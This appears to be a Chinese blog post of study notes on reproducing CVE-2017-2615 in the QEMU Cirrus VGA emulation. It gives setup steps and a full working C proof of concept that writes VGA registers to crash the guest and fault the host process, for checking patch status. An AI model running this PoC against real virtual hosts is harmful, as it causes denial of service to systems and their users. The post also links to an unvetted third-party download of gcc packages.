A-A+

CVE-2017-2615 cirrus vga 漏洞POC及复习过程

2018年01月19日 11:40 学习笔记 暂无评论 阅读 142 views 次

【注意:此文章为博主原创文章!转载需注意,请带原文链接,至少也要是txt格式!】

---------------------------------------------------------------------------------------------------
另提供CVE-2017-2615漏洞成因分析文章:https://woj.app/2972.html
---------------------------------------------------------------------------------------------------
首先应该在linux下执行命: lspci,如果vga型号为cirrus会存在问题

vga型号为cirrus会存在问题

vga型号为cirrus会存在问题

首先连接自己的linux服务器然后查看是否支持gcc编译环境。

gcc编译环境

gcc编译环境

如果输入gcc  提示:-bash: line 9: gcc : command not found  则表示没有gcc环境,就需要安装gcc环境。

安装gcc编译环境

首先应查看操作系统及版本。命令:uname -a

Linux xxxx.com 2.6.32-504.23.4.el6.centos.plus.x86_64 #1 SMP Wed Jun 10 13:09:42 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

这里操作系统为64位操作系统。

然后查看操作系统及版本。命令:lsb_release -a

LSB Version: :base-4.0-amd64:base-4.0-noarch:core-4.0-amd64:core-4.0-noarch:graphics-4.0-amd64:graphics-4.0-noarch:printing-4.0-amd64:printing-4.0-noarch

Distributor ID: CentOS

Description: CentOS release 6.5 (Final)

Release: 6.5

Codename: Final

这里是: CentOS release 6.5   它对应的gcc版本为4.7,为什么对应的版本是4.7如下图:

centos6.5 对应 gcc版本

centos6.5 对应 gcc版本

这里安装gcc时又提示缺少其他相关文件。如下图:

安装gcc缺少其他文件

安装gcc缺少其他文件

因为安装其他文件可能还会缺少另一些文件上方已经报错提示。这里为了省事网上直接找到了全部相关的安装包。(这里需要注意,小心别人的安装包可能捆绑病毒)如图:

http://pan.baidu.com/s/1kVA1pqv 全部包

http://pan.baidu.com/s/1kVA1pqv 全部包 然后执行图中的命令centos6.5下的 gcc就安装成功了

安装成功就是利用gcc编译poc然后执行了。POC代码如下:


/*
 *  CVE-2017-2615 PoC
 *
 *  Qiang Li of the Gear Team, Qihoo 360 Inc.
 *
 *  #gcc poc.c -o poc
 *  #./poc
 *
*/
#include <sys/io.h>
#include 

void write_sr(int idx,int val)
{
      outb(idx,0x3c4);
        outb(val,0x3c5);
}
void write_gr(int idx,int val)
{
        outb(idx,0x3ce);
        outb(val,0x3cf);
}


int main()
{
        iopl(3);
        write_sr(0x07,1);
        write_gr(0x31,0x80);
        write_gr(0x26,0xff);
        write_gr(0x27,0xff);
        write_gr(0x24,1);
        write_gr(0x20,0xff);
        write_gr(0x21,0xff);
        write_gr(0x22,0x0);
        write_gr(0x23,0x0);

        write_gr(0x28,0);
        write_gr(0x29,0);
        write_gr(0x2a,0);
        write_gr(0x2c,0xff);
        write_gr(0x2d,0xff);
        write_gr(0x2e,0xff);

        write_gr(0x30,1);
        write_gr(0x2a,0);

    return 0;
}

复制所有代码中的内容,在linux下新建一个poc.c的文件,把上面的代码粘帖进去。
然后执行命令(编译poc脚本): gcc poc.c -o poc
然后再次执行编译后的poc: ./poc
执行后这台虚拟机的主机控制台查看,执行命令的虚拟机的状态,如果异常就是没打补丁。

存在此漏洞执行POC后的 返回“The semaphore timeout period has expired.”,系统存在一定延时,然后死机,无法响应

如下图

此时通过gdb调试可以宿主机通过gdb调试(gdb -p PID),可以看到触发了段异常,具体响应如下图:

对于修复过的设备多次执行均不会存在上述现象

文章来源:http://www.0xby.com/259.html

 

最后文章引用了多处内容。引用内容地址如下:
poc为360团队贡献,引用地址:http://seclists.org/oss-sec/2017/q1/469
文章gcc环境集合包文章地址:http://blog.csdn.net/lichen_net/article/details/70211204

标签:

给我留言